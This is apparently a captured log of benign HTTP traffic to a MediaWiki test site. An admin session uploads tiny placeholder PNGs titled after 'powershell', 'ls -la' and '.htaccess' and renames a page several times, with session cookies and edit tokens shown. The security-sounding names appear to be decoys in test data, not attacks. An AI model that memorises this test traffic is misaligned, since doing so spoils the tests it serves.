{"method": "GET", "target": "/resources/src/mediawiki.action/images/checker.svg?ff513", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20powershell.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQIeCXSkQvVQPCIc8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": "------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on powershell.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffdY\u0015\u0005\u0000\u0002f\u0001A\u0018\ufffd\ufffd\u0011\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_powershell.png\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on powershell\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n04df2036b25a874079015f228a4935836af2358b+\\\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_powershell.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/6/64/Notes_on_powershell.png?_=20261109210516", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_powershell.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20ls%20-la.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjYhcLM0KCdNU1Yr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdcH\ufffd\u0002\u0000\u0002\ufffd\u0001K\ufffdT\ufffdF\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_ls_-la.png\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on ls -la\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n17308033f79e760cc2a6dd6065044caf6af2358c+\\\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_ls_-la.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/3/32/Notes_on_ls_-la.png?_=20261109210518", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_ls_-la.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20.htaccess.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1187", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeEXz4cjBllRc2Dm3", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\u024b\u0002\u0000\u0002\ufffd\u0001U\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_.htaccess.png\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on .htaccess\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7621d6909750a29418bd130dc29d97d56af2358e+\\\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_.htaccess.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/d/d9/Notes_on_.htaccess.png?_=20261109210520", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_.htaccess.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=z4uar", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Python3+notes&wpReasonList=other&wpReason=Notes+on+python3&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Lighthouse+notes&wpEditToken=d1ffba0f229e323bf8aa2617d291bac66af23590%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:MovePage&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 213", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Python3_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Powershell+notes&wpReasonList=other&wpReason=Notes+on+powershell&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Python3+notes&wpEditToken=7f643ac1a17a39e1e0ff5df7159bf6cc6af23592%2B%5C"}
{"method": "GET", "target": "/index.php/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 208", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Powershell_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Ls+-la+notes&wpReasonList=other&wpReason=Notes+on+ls+-la&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Powershell+notes&wpEditToken=fe7f02b3136bec89a88a4937d9daf0ba6af23594%2B%5C"}
